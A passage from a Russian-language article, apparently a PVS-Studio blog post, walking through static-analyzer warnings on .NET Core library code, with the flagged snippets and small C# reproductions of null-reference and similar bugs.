**Предупреждение PVS-Studio**: [V3022](https://www.viva64.com/ru/w/v3022/) Expression 'names != null' is always true. DynamicDebuggerProxy.cs 426
Я бы, наверное, мог проигнорировать это предупреждение наравне со многими аналогичными, которые были выданы диагностиками [V3022](https://www.viva64.com/ru/w/v3022/) и [V3063](https://www.viva64.com/ru/w/v3063/). Было много (очень много) странных проверок, но эта чем-то запала мне в душу. Возможно, тем, что перед сравнением локальной переменной *names* с *null* в эту переменную мало того, что записывается ссылка на новый созданный объект, так ещё и происходит вызов экземплярного метода *Sort*. Это не ошибка, конечно, но место интересное, как по мне.
**Issue 8**
Вот ещё интересный фрагмент кода.
```
private static void InsertChildNoGrow(Symbol child)
{
....
while (sym?.nextSameName != null)
{
sym = sym.nextSameName;
}
Debug.Assert(sym != null && sym.nextSameName == null);
sym.nextSameName = child;
....
}
```
**Предупреждение PVS-Studio**: [V3042](https://www.viva64.com/ru/w/v3042/) Possible NullReferenceException. The '?.' and '.' operators are used for accessing members of the 'sym' object SymbolStore.cs 56
Смотрите, в чём здесь штука. Цикл завершается при выполнении одного из двух условий:
* *sym == null*;
* *sym.nextSameName == null*.
Со вторым условием проблем нет, чего нельзя сказать про первое, так как ниже идёт безусловное обращение к экземплярному полю *nextSameName* и, если *sym* — *null*, при обращении возникнет исключение типа *NullReferenceException*.
«Ты что, ослеп? Есть же вызов *Debug.Assert*, где проверяется, что *sym != null*» — может возразить кто-то. Но в этом и вся соль! При работе в Release версии *Debug.Assert* ничем не поможет, и при описанном выше состоянии всё, что мы получим — *NullReferenceException*. Более того, я уже видел подобную ошибку в другом проекте от Microsoft — [Roslyn](https://github.com/dotnet/roslyn), где была ну уж очень похожая ситуация с *Debug.Assert*. Немного отвлекусь на Roslyn с вашего позволения.
Проблему можно было воспроизвести либо при использовании библиотек *Microsoft.CodeAnalysis*, либо прямо в Visual Studio при использовании Syntax Visualizer. На версии Visual Studio 16.1.6 + Syntax Visualizer 1.0 эта проблема ещё воспроизводится.
Для воспроизведения достаточно такого кода:
```
class C1
{
void foo()
{
T1 val = default;
if (val is null)
{ }
}
}
```
Далее в Syntax Visualizer нужно найти узел синтаксического дерева типа *ConstantPatternSyntax*, соответствующий *null* в коде и запросить для него *TypeSymbol*.
После этого Visual Studio перезагрузится. Если зайдём в Event Viewer, найдём информацию о проблемах в библиотеках:
```
Application: devenv.exe
Framework Version: v4.0.30319
Description: The process was terminated due to an unhandled exception.
Exception Info:
System.Resources.MissingManifestResourceException
at System.Resources.ManifestBasedResourceGroveler
.HandleResourceStreamMissing(System.String)
at System.Resources.ManifestBasedResourceGroveler.GrovelForResourceSet(
System.Globalization.CultureInfo,
System.Collections.Generic.Dictionary'2
, Boolean, Boolean,
System.Threading.StackCrawlMark ByRef)
at System.Resources.ResourceManager.InternalGetResourceSet(
System.Globalization.CultureInfo, Boolean, Boolean,
System.Threading.StackCrawlMark ByRef)
at System.Resources.ResourceManager.InternalGetResourceSet(
System.Globalization.CultureInfo, Boolean, Boolean)
at System.Resources.ResourceManager.GetString(System.String,
System.Globalization.CultureInfo)
at Roslyn.SyntaxVisualizer.DgmlHelper.My.
Resources.Resources.get\_SyntaxNodeLabel()
....
```
И о проблеме с devenv.exe:
```
Faulting application name:
devenv.exe, version: 16.1.29102.190, time stamp: 0x5d1c133b
Faulting module name:
KERNELBASE.dll, version: 10.0.18362.145, time stamp: 0xf5733ace
Exception code: 0xe0434352
Fault offset: 0x001133d2
....
```
Имея отладочные версии библиотек Roslyn можно найти место, где возникло исключение:
```
private Conversion ClassifyImplicitBuiltInConversionSlow(
TypeSymbol source, TypeSymbol destination,
ref HashSet useSiteDiagnostics)
{
Debug.Assert((object)source != null);
Debug.Assert((object)destination != null);
if ( source.SpecialType == SpecialType.System\_Void
|| destination.SpecialType == SpecialType.System\_Void)
{
return Conversion.NoConversion;
}
....
}
```
Здесь, как и в рассматриваемом выше коде из библиотек .NET Core тоже есть проверка через *Debug.Assert*, которая, однако, никак не помогла при использовании релизных версий библиотек.
**Issue 9**
Отвлеклись немного — и хватит, возвращаемся к библиотекам .NET Core. Пакет *System.IO.IsolatedStorage* содержит следующий интересный код.
```
private bool ContainsUnknownFiles(string directory)
{
....
return (files.Length > 2 ||
(
(!IsIdFile(files[0]) && !IsInfoFile(files[0]))) ||
(files.Length == 2 && !IsIdFile(files[1]) && !IsInfoFile(files[1]))
);
}
```
**Предупреждение PVS-Studio**: [V3088](https://www.viva64.com/ru/w/v3088/) The expression was enclosed by parentheses twice: ((expression)). One pair of parentheses is unnecessary or misprint is present. IsolatedStorageFile.cs 839
Сказать, что форматирование кода сбивает с толку — не сказать ничего. Мельком пробегаясь взглядом по этому коду, я бы сказал, что левый операнд первого встреченного оператора || — *files.Length > 2*, правый — то, что в скобках. По крайней мере, код отформатирован так. Посмотрев чуть внимательнее, можно понять, что это не так. На самом деле правый операнд — *((!IsIdFile(files[0]) && !IsInfoFile(files[0])))*. По-моему, этот код порядочно сбивает с толку.
**Issue 10**
В релизе PVS-Studio 7.03 было добавлено диагностическое правило [V3138](https://www.viva64.com/ru/w/v3138/), которое ищет ошибки в интерполированных строках. Точнее, в строках, которые, скорее всего, должны быть интерполированными, но из-за пропущенного символа *$* таковыми не являются. В библиотеках *System.Net* нашлось несколько интересных срабатываний этого диагностического правила.
```
internal static void CacheCredential(SafeFreeCredentials newHandle)
{
try
{
....
}
catch (Exception e)
{
if (!ExceptionCheck.IsFatal(e))
{
NetEventSource.Fail(null, "Attempted to throw: {e}");
}
}
}
```
**Предупреждение PVS-Studio**: [V3138](https://www.viva64.com/ru/w/v3138/) String literal contains potential interpolated expression. Consider inspecting: e. SSPIHandleCache.cs 42
Очень похоже на то, что второй аргумент метода *Fail* должен быть интерполированной строкой, в которую бы подставлялось строковое представление исключения *e*. Однако из-за пропущенного символа *$* никакого строкового представления исключения не подставляется.
**Issue 11**
Встретился ещё один похожий случай.
```
public static async Task GetDigestTokenForCredential(....)
{
....
if (NetEventSource.IsEnabled)
NetEventSource.Error(digestResponse,
"Algorithm not supported: {algorithm}");
....
}
```
**Предупреждение PVS-Studio**: [V3138](https://www.viva64.com/ru/w/v3138/) String literal contains potential interpolated expression. Consider inspecting: algorithm. AuthenticationHelper.Digest.cs 58
Ситуация аналогична описанной выше, опять пропущен символ *$* — в метод *Error* идёт неверная строка.
**Issue 12**
Пакет *System.Net.Mail*. Метод небольшой, приведу его целиком, чтобы ошибку было искать чуть интереснее.
```
internal void SetContent(Stream stream)
{
if (stream == null)
{
throw new ArgumentNullException(nameof(stream));
}
if (_streamSet)
{
_stream.Close();
_stream = null;
_streamSet = false;
}
_stream = stream;
_streamSet = true;
_streamUsedOnce = false;
TransferEncoding = TransferEncoding.Base64;
}
```
**Предупреждение PVS-Studio**: [V3008](https://www.viva64.com/ru/w/v3008/) The '\_streamSet' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 123, 119. MimePart.cs 123
Странно выглядит двойное присвоение значения переменной *\_streamSet* (сначала — под условием; потом — вне). Та же история и с обнулением переменной *\_stream*. В итоге *\_stream* всё равно будет иметь значение *stream*, а *\_streamSet* — *true*.
**Issue 13**
Интересное место из библиотеки *System.Linq.Expressions*, на которое анализатор выдал сразу 2 предупреждения. В данном случае это скорее «фича», чем баг, но тем не менее, метод весьма интересный…
```
// throws NRE when o is null
protected static void NullCheck(object o)
{
if (o == null)
{
o.GetType();
}
}
```
**Предупреждения PVS-Studio**:
* [V3010](https://www.viva64.com/ru/w/v3010/) The return value of function 'GetType' is required to be utilized. Instruction.cs 36
* [V3080](https://www.viva64.com/ru/w/v3080/) Possible null dereference. Consider inspecting 'o'. Instruction.cs 36
Тут, наверное, даже и комментировать нечего.
**Issue 14**
Давайте рассмотрим ещё один случай, с которым мы будем работать «извне». Сначала напишем код, выявим проблемы, а затем заглянем внутрь. Для изучения возьмём библиотеку *System.Configuration.ConfigurationManager* и одноимённый NuGet пакет. Я использовал пакет версии 4.5.0. Будем работать с классом *System.Configuration.CommaDelimitedStringCollection*.
Сделаем что-нибудь не очень хитрое. Например, создадим объект, извлечём его строковое представление, получим длину этой строки и распечатаем её. Соответствующий код:
```
CommaDelimitedStringCollection collection
= new CommaDelimitedStringCollection();
Console.WriteLine(collection.ToString().Length);
```
На всякий случай посмотрим на описание метода *ToString*:
Ничего необычного — просто возвращается строковое представление объекта. На всякий случай также загляну на docs.microsoft.com — "[CommaDelimitedStringCollection.ToString Method](https://docs.microsoft.com/en-us/dotnet/api/system.configuration.commadelimitedstringcollection.tostring?view=netcore-3.0)". Вроде бы тоже ничего особенного.
Хорошо, запускаем код на исполнение, иии…
Хм, неожиданно. Что ж, давайте попробуем добавить элемент в коллекцию, и затем получить её строковое представление. «Совершенно случайно» добавлять будем пустую строку :). Код изменится и будет выглядеть так:
```
CommaDelimitedStringCollection collection
= new CommaDelimitedStringCollection();
collection.Add(String.Empty);
Console.WriteLine(collection.ToString().Length);
```
Запускаем на исполнение и видим…
Что, опять?! Что ж, давайте уже наконец взглянем на реализацию метода *ToString* класса *CommaDelimitedStringCollection*. Код представлен ниже:
```
public override string ToString()
{
if (Count <= 0) return null;
StringBuilder sb = new StringBuilder();
foreach (string str in this)
{
ThrowIfContainsDelimiter(str);
// ....
sb.Append(str.Trim());
sb.Append(',');
}
if (sb.Length > 0) sb.Length = sb.Length - 1;
return sb.Length == 0 ? null : sb.ToString();
}
```
**Предупреждения PVS-Studio**:
* [V3108](https://www.viva64.com/ru/w/v3108/) It is not recommended to return 'null' from 'ToSting()' method. StringAttributeCollection.cs 57
* [V3108](https://www.viva64.com/ru/w/v3108/) It is not recommended to return 'null' from 'ToSting()' method. StringAttributeCollection.cs 71
Здесь мы видим 2 места, где текущая реализация *ToString* может вернуть значение *null*. Вспомним, что советует делать Microsoft при реализации метода *ToString*, для чего вновь обратимся к docs.microsoft.com — "[Object.ToString Method](https://docs.microsoft.com/en-us/dotnet/api/system.object.tostring?view=netcore-3.0)":
*Notes to Inheritors....Overrides of the ToString() method should follow these guidelines:** *....*
* *Your ToString() override should not return Empty or a* ***null*** *string.*
* *....*
Об этом, собственно, и предупреждает PVS-Studio. Два приведённых выше фрагмента кода, которые мы писали для воспроизведения проблемы, достигают различных точек выхода — первого и второго места возвращения *null* соответственно. Копнём чуть глубже.
Первый случай. *Count* — свойство базового класса *StringCollection*. Так как никаких элементов добавлено не было, *Count == 0*, выполняется условие *Count <= 0*, возвращается значение *null*.
Во втором случае мы добавляли элемент, используя для этого экземплярный метод *CommaDelimitedStringCollection.Add*.
```
public new void Add(string value)
{
ThrowIfReadOnly();
ThrowIfContainsDelimiter(value);
_modified = true;
base.Add(value.Trim());
}
```
Проверки в методе *ThrowIf...* успешно проходят и элемент добавляется в базовую коллекцию. Соответственно, значение *Count* становится равным 1. Теперь возвращаемся к методу *ToString*. Значение выражения *Count <= 0* — *false*, следовательно, выхода из метода не происходит и код продолжает своё исполнение. Начинается обход внутренней коллекции, и в *StringBuilder* добавляются 2 элемента — пустая строка и запятая. В итоге получается, что в *sb* содержится только запятая, значение свойства *Length*, соответственно равно единице. Значение выражения *sb.Length > 0* — *true*, выполняется вычитание и запись в *sb.Length*, теперь значение *sb.Length* — 0. Это ведёт к тому, что из метода опять возвращается значение *null*.
**Issue 15**
Совершенно неожиданно мне захотелось поиспользовать класс *System.Configuration.ConfigurationProperty*. Возьмём конструктор с наибольшим количеством параметров:
```
public ConfigurationProperty(
string name,
Type type,
object defaultValue,
TypeConverter typeConverter,
ConfigurationValidatorBase validator,
ConfigurationPropertyOptions options,
string description);
```
Посмотрим описание последнего параметра:
```
// description:
// The description of the configuration entity.
```
В описании конструктора на docs.microsoft.com написано то же самое. Что ж, давайте взглянем, как этот параметр используется в теле конструктора:
```
public ConfigurationProperty(...., string description)
{
ConstructorInit(name, type, options, validator, typeConverter);
SetDefaultValue(defaultValue);
}
```
А параметр-то и не используется.
**Предупреждение PVS-Studio**: [V3117](https://www.viva64.com/ru/w/v3117/) Constructor parameter 'description' is not used. ConfigurationProperty.cs 62
Вероятно, не используют его специально, но описание соответствующего параметра сбивает с толку.
**Issue 16**
Встретилось ещё одно похожее место. Попробуйте найти ошибку самостоятельно, код конструктора привожу ниже.
```
internal SectionXmlInfo(
string configKey, string definitionConfigPath, string targetConfigPath,
string subPath, string filename, int lineNumber, object streamVersion,
string rawXml, string configSource, string configSourceStreamName,
object configSourceStreamVersion, string protectionProviderName,
OverrideModeSetting overrideMode, bool skipInChildApps)
{
ConfigKey = configKey;
DefinitionConfigPath = definitionConfigPath;
TargetConfigPath = targetConfigPath;
SubPath = subPath;
Filename = filename;
LineNumber = lineNumber;
StreamVersion = streamVersion;
RawXml = rawXml;
ConfigSource = configSource;
ConfigSourceStreamName = configSourceStreamName;
ProtectionProviderName = protectionProviderName;
OverrideModeSetting = overrideMode;
SkipInChildApps = skipInChildApps;
}
```
**Предупреждение PVS-Studio**: [V3117](https://www.viva64.com/ru/w/v3117/) Constructor parameter 'configSourceStreamVersion' is not used. SectionXmlInfo.cs 16
Есть соответствующее свойство, правда выглядит оно немного странно:
```
internal object ConfigSourceStreamVersion
{
set { }
}
```
В общем, код выглядит подозрительно. Возможно, параметр / свойство оставили для совместимости, но это лишь мои догадки.
**Issue 17**
Посмотрим, что интересного нашлось в коде библиотеки *System.Runtime.WindowsRuntime.UI.Xaml* и одноимённого NuGet пакета.
```
public struct RepeatBehavior : IFormattable
{
....
public override string ToString()
{
return InternalToString(null, null);
}
....
}
```
**Предупреждение PVS-Studio**: [V3108](https://www.viva64.com/ru/w/v3108/) It is not recommended to return 'null' from 'ToSting()' method. RepeatBehavior.cs 113
Знакомая история, которую уже проходили — метод *ToString* может вернуть значение *null*. Из-за этого автор вызывающего кода, предполагающий, что *RepeatBehavior.ToString* всегда возвращает ненулевую ссылку, в какой-то момент может быть неприятно удивлён. Да и опять же, это отклонение от гайдлайнов Microsoft.
Конечно, только из этого метода непонятно, что *ToString* может вернуть *null* — нужно копнуть глубже и заглянуть в метод *InternalToString*.
```
internal string InternalToString(string format, IFormatProvider formatProvider)
{
switch (_Type)
{
case RepeatBehaviorType.Forever:
return "Forever";
case RepeatBehaviorType.Count:
StringBuilder sb = new StringBuilder();
sb.AppendFormat(
formatProvider,
"{0:" + format + "}x",
_Count);
return sb.ToString();
case RepeatBehaviorType.Duration:
return _Duration.ToString();
default:
return null;
}
}
```
Анализатор обнаружил, что в случае, если в *switch* выполнится *default* ветвь, *InternalToString* вернёт значение *null*, следовательно, *null* вернёт и *ToString*.
*RepeatBehavior* — публичная структура, а *ToString* — публичный метод, так что можно попробовать воспроизвести проблему на практике. Для этого нужно создать экземпляр *RepeatBehavior*, вызвать у него метод *ToString*, но при этом не забывать, что *\_Type* не должен быть равным *RepeatBehaviorType.Forever*, *RepeatBehaviorType.Count* или *RepeatBehaviorType.Duration*.
*\_Type* — приватное поле, которое можно назначить через публичное свойство:
```
public struct RepeatBehavior : IFormattable
{
....
private RepeatBehaviorType _Type;
....
public RepeatBehaviorType Type
{
get { return _Type; }
set { _Type = value; }
}
....
}
```
Пока всё выглядит неплохо. Идём дальше, и смотрим, что из себя представляет тип *RepeatBehaviorType*.
```
public enum RepeatBehaviorType
{
Count,
Duration,
Forever
}
```
Как видно, *RepeatBehaviorType* — перечисление, содержащее все три элемента. Причём все эти три элемента покрываются в необходимом нам выражении *switch*. Это, однако, не значит, что *default* ветвь недостижима.
Для воспроизведения проблемы подключим в проект пакет *System.Runtime.WindowsRuntime.UI.Xaml* (я использовал версию 4.3.0) и выполним следующий код.
```
RepeatBehavior behavior = new RepeatBehavior()
{
Type = (RepeatBehaviorType)666
};
Console.WriteLine(behavior.ToString() is null);
```
В консоль вполне ожидаемо выводится *True*, а это означает *ToString* вернул *null*, т.к. *\_Type* не был равен ни одному из значений в *case* ветвях и управление перешло в ветвь *default*. Чего мы, собственно, и добивались.
Хочу также отметить, что ни в комментариях к методу, ни на [docs.microsoft.com](https://docs.microsoft.com/en-us/dotnet/api/system.windows.media.animation.repeatbehavior.tostring?view=netcore-3.0#System_Windows_Media_Animation_RepeatBehavior_ToString), не указано, что метод может возвращать значение *null*.
**Issue 18**
Далее разберём несколько предупреждений из *System.Private.DataContractSerialization*.
```
private static class CharType
{
public const byte None = 0x00;
public const byte FirstName = 0x01;
public const byte Name = 0x02;
public const byte Whitespace = 0x04;
public const byte Text = 0x08;
public const byte AttributeText = 0x10;
public const byte SpecialWhitespace = 0x20;
public const byte Comment = 0x40;
}
private static byte[] s_charType = new byte[256]
{
....
CharType.None,
/* 9 (.) */
CharType.None|
CharType.Comment|
CharType.Comment|
CharType.Whitespace|
CharType.Text|
CharType.SpecialWhitespace,
/* A (.) */
CharType.None|
CharType.Comment|
CharType.Comment|
CharType.Whitespace|
CharType.Text|
CharType.SpecialWhitespace,
/* B (.) */
CharType.None,
/* C (.) */
CharType.None,
/* D (.) */
CharType.None|
CharType.Comment|
CharType.Comment|
CharType.Whitespace,
/* E (.) */
CharType.None,
....
};
```
**Предупреждения PVS-Studio**:
* [V3001](https://www.viva64.com/ru/w/v3001/) There are identical sub-expressions 'CharType.Comment' to the left and to the right of the '|' operator. XmlUTF8TextReader.cs 56
* [V3001](https://www.viva64.com/ru/w/v3001/) There are identical sub-expressions 'CharType.Comment' to the left and to the right of the '|' operator. XmlUTF8TextReader.cs 58
* [V3001](https://www.viva64.com/ru/w/v3001/) There are identical sub-expressions 'CharType.Comment' to the left and to the right of the '|' operator. XmlUTF8TextReader.cs 64
Анализатор счёл подозрительным использование выражения *CharType.Comment| CharType.Comment*. Выглядит немного странно, так как *(CharType.Comment | CharType.Comment) == CharType.Comment*. При инициализации других элементов массива, в которых используется *CharType.Comment*, подобного дублирования нет.
**Issue 19**
Продолжаем. Посмотрим информацию о возвращаемом значении метода *XmlBinaryWriterSession.TryAdd* в описании метода и на docs.microsoft.com — "[XmlBinaryWriterSession.TryAdd(XmlDictionaryString, Int32) Method](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmlbinarywritersession.tryadd?view=netcore-3.0)": *Returns: true if the string could be added; otherwise, false.*
Теперь заглянем в тело метода:
```
public virtual bool TryAdd(XmlDictionaryString value, out int key)
{
IntArray keys;
if (value == null)
throw System.Runtime
.Serialization
.DiagnosticUtility
.ExceptionUtility
.ThrowHelperArgumentNull(nameof(value));
if (_maps.TryGetValue(value.Dictionary, out keys))
{
key = (keys[value.Key] - 1);
if (key != -1)
{
// If the key is already set, then something is wrong
throw System.Runtime
.Serialization
.DiagnosticUtility
.ExceptionUtility
.ThrowHelperError(
new InvalidOperationException(
SR.XmlKeyAlreadyExists));
}
key = Add(value.Value);
keys[value.Key] = (key + 1);
return true;
}
key = Add(value.Value);
keys = AddKeys(value.Dictionary, value.Key + 1);
keys[value.Key] = (key + 1);
return true;
}
```
**Предупреждение PVS-Studio**: [V3009](https://www.viva64.com/ru/w/v3009/) It's odd that this method always returns one and the same value of 'true'. XmlBinaryWriterSession.cs 29
Выглядит странным, что метод либо возвращает *true*, либо кидает исключение, но значение *false* не возвращает никогда.
**Issue 20**
Встретился код с подобной проблемой, только теперь наоборот — всегда возвращается значение *false*:
```
internal virtual bool OnHandleReference(....)
{
if (xmlWriter.depth < depthToCheckCyclicReference)
return false;
if (canContainCyclicReference)
{
if (_byValObjectsInScope.Contains(obj))
throw ....;
_byValObjectsInScope.Push(obj);
}
return false;
}
```
**Предупреждение PVS-Studio**: [V3009](https://www.viva64.com/ru/w/v3009/) It's odd that this method always returns one and the same value of 'false'. XmlObjectSerializerWriteContext.cs 415
Итак, мы с вами уже проделали значительный путь! Поэтому, прежде чем продолжить, предлагаю сделать небольшой перерыв — размять мышцы, немного походить, дать отдохнуть глазам, посмотреть в окно…
Надеюсь, на этой точке вы вновь полны сил, так что продолжим. :)
**Issue 21**
Посмотрим на интересные места проекта *System.Security.Cryptography.Algorithms*.
```
public override byte[] GenerateMask(byte[] rgbSeed, int cbReturn)
{
using (HashAlgorithm hasher
= (HashAlgorithm)CryptoConfig.CreateFromName(_hashNameValue))
{
byte[] rgbCounter = new byte[4];
byte[] rgbT = new byte[cbReturn];
uint counter = 0;
for (int ib = 0; ib < rgbT.Length;)
{
// Increment counter -- up to 2^32 * sizeof(Hash)
Helpers.ConvertIntToByteArray(counter++, rgbCounter);
hasher.TransformBlock(rgbSeed, 0, rgbSeed.Length, rgbSeed, 0);
hasher.TransformFinalBlock(rgbCounter, 0, 4);
byte[] hash = hasher.Hash;
hasher.Initialize();
Buffer.BlockCopy(hash, 0, rgbT, ib,
Math.Min(rgbT.Length - ib, hash.Length));
ib += hasher.Hash.Length;
}
return rgbT;
}
}
```
**Предупреждение PVS-Studio**: [V3080](https://www.viva64.com/ru/w/v3080/) Possible null dereference. Consider inspecting 'hasher'. PKCS1MaskGenerationMethod.cs 37
Анализатор предупреждает о том, что при вычислении выражения *hasher.TransformBlock* значение переменной *hasher* может быть *null*, в случае чего произойдёт генерация исключения типа *NullReferenceException*. Появление этого предупреждения стало возможным благодаря межпроцедурному анализу.
Итак, чтобы понять, может ли *hasher* в данном случае принимать значение *null*, необходимо опуститься в метод *CreateFromName*.
```
public static object CreateFromName(string name)
{
return CreateFromName(name, null);
}
```
Пока ничего — опускаемся глубже. Тело перегруженной версии *CreateFromName* с двумя параметрами достаточно большое, поэтому привожу сокращённую версию.
```
public static object CreateFromName(string name, params object[] args)
{
....
if (retvalType == null)
{
return null;
}
....
if (cons == null)
{
return null;
}
....
if (candidates.Count == 0)
{
return null;
}
....
if (rci == null || typeof(Delegate).IsAssignableFrom(rci.DeclaringType))
{
return null;
}
....
return retval;
}
```
Как видно, в методе есть несколько точек выхода, где явно возвращается значение *null*. Следовательно, хотя бы теоретически, в упоминаемом ранее методе, на который было выдано предупреждение, возможно возникновение исключения типа *NullReferenceException*.
Теория — это хорошо, но давайте попробуем воспроизвести проблему на практике. Для этого ещё раз взглянем на исходный метод и отметим ключевые точки. Неактуальный код из метода сократим.
```
public class PKCS1MaskGenerationMethod : .... // <= 1
{
....
public PKCS1MaskGenerationMethod() // <= 2
{
_hashNameValue = DefaultHash;
}
....
public override byte[] GenerateMask(byte[] rgbSeed, int cbReturn) // <= 3
{
using (HashAlgorithm hasher
= (HashAlgorithm)CryptoConfig.CreateFromName(_hashNameValue)) // <= 4
{
byte[] rgbCounter = new byte[4];
byte[] rgbT = new byte[cbReturn]; // <= 5
uint counter = 0;
for (int ib = 0; ib < rgbT.Length;) // <= 6
{
....
Helpers.ConvertIntToByteArray(counter++, rgbCounter); // <= 7
hasher.TransformBlock(rgbSeed, 0, rgbSeed.Length, rgbSeed, 0);
....
}
....
}
}
}
```
Рассмотрим ключевые точки чуть подробнее:
**1, 3**. Класс и метод имеют модификаторы доступа *public*. Следовательно, этот интерфейс доступен при подключении библиотеки — можно попробовать повторить проблему.
**2**. Класс — экземплярный неабстрактный, имеет публичный конструктор — должно быть легко создать экземпляр, с которым и будем работать. В некоторых рассмотренных мной случаях классы были абстрактными, так что для повторения проблемы ещё приходилось искать наследников и способы их получения.
**4**. *CreateFromName* не должен сгенерировать никаких исключений и должен вернуть *null* — наиболее важная точка, к ней вернёмся позже.
**5, 6**. Значение *cbReturn* должно быть > 0 (и, конечно, в адекватных пределах для успешного создания массива). Выполнение условия *cbReturn > 0* необходимо для выполнения дальнейшего условия *ib < rgbT.Length* и захода в тело цикла.
**7**. *Helpres.ConvertIntToByteArray* должен отработать без исключений.
Для выполнения условий, зависящих от параметров метода, достаточно просто передать адекватные аргументы, например:
* *rgbCeed* — new byte[] { 0, 1, 2, 3 };
* *cbReturn* — 42.
Для того, чтобы «скомпрометировать» метод *CryptoConfig.CreateFromName*, необходима возможность изменять значение поля *\_hashNameValue*. К счастью для нас, она есть, так как в классе определено свойство-обёртка над этим полем:
```
public string HashName
{
get { return _hashNameValue; }
set { _hashNameValue = value ?? DefaultHash; }
}
```
Установив 'синтетическое' значение для *HashName* (точнее — *\_hashNameValue*), можно получить значение *null* из метода *CreateFromName* на первой из отмеченных нами точек возврата. Вдаваться в подробности разбора этого метода не буду (надеюсь, вы мне простите это), так как он достаточно длинный.
В итоге код, который приведёт к возникновению исключения типа *NullReferenceException*, может выглядеть следующим образом:
```
PKCS1MaskGenerationMethod tempObj = new PKCS1MaskGenerationMethod();
tempObj.HashName = "Dummy";
tempObj.GenerateMask(new byte[] { 1, 2, 3 }, 42);
```
Подключаем к проекту отладочную библиотеки, запускаем и получаем ожидаемый результат:
Ради интереса попробовал исполнить этот же код на NuGet пакете версии 4.3.1.
Информации о генерируемых исключениях, ограничений на выходные параметры в описании метода, на docs.microsoft.com это тоже не описано — "[PKCS1MaskGenerationMethod.GenerateMask(Byte[], Int32) Method](https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.pkcs1maskgenerationmethod.generatemask?view=netcore-3.0)".
Кстати, уже в ходе написания статьи и описания последовательности воспроизведения проблемы нашёл ещё 2 способа «сломать» этот метод:
* передать в качестве аргумента *cbReturn* слишком большое значение;
* передать в качестве *rgbSeed* значение *null*.
В первом случае получаем исключение типа *OutOfMemoryException*.
Во втором случае получаем исключение типа *NullReferenceException* при исполнении выражения *rgbSeed.Length*. В этом случае важно, чтобы *hasher* имел ненулевое значение, иначе поток исполнения не дойдёт до *rgbSeed.Length*.
**Issue 22**
Встретилась ещё пара похожих мест.
```
public class SignatureDescription
{
....
public string FormatterAlgorithm { get; set; }
public string DeformatterAlgorithm { get; set; }
public SignatureDescription()
{
}
....
public virtual AsymmetricSignatureDeformatter CreateDeformatter(
AsymmetricAlgorithm key)
{
AsymmetricSignatureDeformatter item = (AsymmetricSignatureDeformatter)
CryptoConfig.CreateFromName(DeformatterAlgorithm);
item.SetKey(key); // <=
return item;
}
public virtual AsymmetricSignatureFormatter CreateFormatter(
AsymmetricAlgorithm key)
{
AsymmetricSignatureFormatter item = (AsymmetricSignatureFormatter)
CryptoConfig.CreateFromName(FormatterAlgorithm);
item.SetKey(key); // <=
return item;
}
....
}
```
**Предупреждения PVS-Studio**:
* [V3080](https://www.viva64.com/ru/w/v3080/) Possible null dereference. Consider inspecting 'item'. SignatureDescription.cs 31
* [V3080](https://www.viva64.com/ru/w/v3080/) Possible null dereference. Consider inspecting 'item'. SignatureDescription.cs 38
Опять же, мы можем записать в свойства *FormatterAlgorithm* и *DeformatterAlgorithm* такие значения, для которых метод *CryptoConfig.CreateFromName* вернёт значение *null* в методах *CreateDeformatter* и *CreateFormatter*. Далее, при вызове экземплярного метода *SetKey* будет сгенерировано исключение *NullReferenceException*. Проблема, опять же, легко воспроизводится на практике:
```
SignatureDescription signature = new SignatureDescription()
{
DeformatterAlgorithm = "Dummy",
FormatterAlgorithm = "Dummy"
};
signature.CreateDeformatter(null); // NRE
signature.CreateFormatter(null); // NRE
```
В данном случае и при вызове *CreateDeformatter*, и при вызове *CreateFormatter* генерируется исключение типа *NullReferenceException*.
**Issue 23**
Посмотрим на интересные места из проекта *System.Private.Xml*.
```
public override void WriteBase64(byte[] buffer, int index, int count)
{
if (!_inAttr && (_inCDataSection || StartCDataSection()))
_wrapped.WriteBase64(buffer, index, count);
else
_wrapped.WriteBase64(buffer, index, count);
}
```
**Предупреждение PVS-Studio**: [V3004](https://www.viva64.com/ru/w/v3004/) The 'then' statement is equivalent to the 'else' statement. QueryOutputWriterV1.cs 242
Выглядит странно, что *then* и *else* ветви оператора *if* содержат один и тот же код. Либо здесь ошибка, и в одной из ветвей предполагалось иное действие, либо оператор *if* можно опустить.
**Issue 24**
```
internal void Depends(XmlSchemaObject item, ArrayList refs)
{
....
if (content is XmlSchemaSimpleTypeRestriction)
{
baseType = ((XmlSchemaSimpleTypeRestriction)content).BaseType;
baseName = ((XmlSchemaSimpleTypeRestriction)content).BaseTypeName;
}
else if (content is XmlSchemaSimpleTypeList)
{
....
}
else if (content is XmlSchemaSimpleTypeRestriction)
{
baseName = ((XmlSchemaSimpleTypeRestriction)content).BaseTypeName;
}
else if (t == typeof(XmlSchemaSimpleTypeUnion))
{
....
}
....
}
```
**Предупреждение PVS-Studio**: [V3003](https://www.viva64.com/ru/w/v3003/) The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 381, 396. ImportContext.cs 381
В последовательности *if-else-if* есть два одинаковых условных выражения — *content is XmlSchemaSimpleTypeRestriction*. Что ещё интереснее — тела *then*-ветвей соответствующих операторов содержат разный набор выражений. Так или иначе, будет выполнено либо тело первой соответствующей *then*-ветви (если условное выражение истинно), либо ни то, ни другое, если соответствующее выражение ложно.
**Issue 25**
Чтобы интереснее было искать ошибку в следующем методе, привожу его тело целиком.
```
public bool MatchesXmlType(IList seq, int indexType)
{
XmlQueryType typBase = GetXmlType(indexType);
XmlQueryCardinality card;
switch (seq.Count)
{
case 0: card = XmlQueryCardinality.Zero; break;
case 1: card = XmlQueryCardinality.One; break;
default: card = XmlQueryCardinality.More; break;
}
if (!(card <= typBase.Cardinality))
return false;
typBase = typBase.Prime;
for (int i = 0; i < seq.Count; i++)
{
if (!CreateXmlType(seq[0]).IsSubtypeOf(typBase))
return false;
}
return true;
}
```
Если справились — примите поздравления!
Если нет — предупреждение PVS-Studio поможет: [V3102](https://www.viva64.com/ru/w/v3102/) Suspicious access to element of 'seq' object by a constant index inside a loop. XmlQueryRuntime.cs 738
Выполняется цикл *for*, в качестве условия выхода которого используется выражение *i < seq.Count*. Наводит на мысли о том, что хотят обойти последовательность *seq*. Вот только в цикле выполняют доступ к элементам последовательности не с использованием счётчика (*seq[i]*), а с использованием числового литерала — нуля (*seq[0]*).
**Issue 26**
Следующая ошибка умещается в маленьком фрагменте кода, но от того она не менее интересна.
```
public override void WriteValue(string value)
{
WriteValue(value);
}
```
